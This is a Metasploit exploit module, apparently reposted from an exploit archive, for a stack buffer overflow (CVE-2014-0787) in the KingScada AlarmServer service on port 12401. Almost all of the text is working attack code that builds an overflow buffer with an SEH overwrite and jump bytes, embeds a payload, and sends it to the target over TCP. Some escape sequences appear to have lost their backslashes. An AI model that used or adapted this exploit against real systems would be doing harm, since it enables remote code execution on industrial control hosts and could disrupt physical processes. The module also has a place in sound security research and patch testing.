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KingScada AlarmServer 3.1.2.13 Buffer Overflow

Posted on 15 September 2017

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking

include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::Seh

def initialize(info = {})
super(update_info(info,
'Name' => 'KingScada AlarmServer Stack Buffer Overflow',
'Description' => %q{
This module exploits a stack based buffer overflow found in
KingScada < 3.1.2.13. The vulnerability is triggered when
sending a specially crafted packet to the 'AlarmServer'
(AEserver.exe) service listening on port 12401. During the
parsing of the packet the 3rd dword is used as a size value
for a memcpy operation which leads to an overflown stack buffer
},
'Author' => [ 'James Fitts' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2014-0787' ],
[ 'ZDI', '14-071' ],
[ 'URL', 'http://ics-cert.us-cert.gov/advisories/ICSA-14-098-02' ]
],
'Privileged' => false,
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 1000,
'BadChars' => "x00x0ax0dx20",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[
'Windows XP SP3 EN / WellinTech KingScada 31.1.1.4',
{
# dbghelp.dll
# pop esi/ pop edi/ retn
'ret' => 0x02881fbf,
}
],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Apr 10, 2014'))

register_options([Opt::RPORT(12401)], self.class)
end

def exploit
connect

p = payload.encoded

buf = make_nops(5000)
buf[0, 4] = [0x000004d2].pack('V')
buf[4, 4] = [0x0000007b].pack('V')
buf[8, 4] = [0x0000133c].pack('V') # size for memcpy()
buf[1128, p.length] = p
buf[2128, 8] = generate_seh_record(target['ret'])
buf[2136, 5] = "xe9x4bxfbxffxff" # jmp $-1200

print_status("Trying target #{target.name}...")

sock.put(buf)

handler
disconnect
end

end

 

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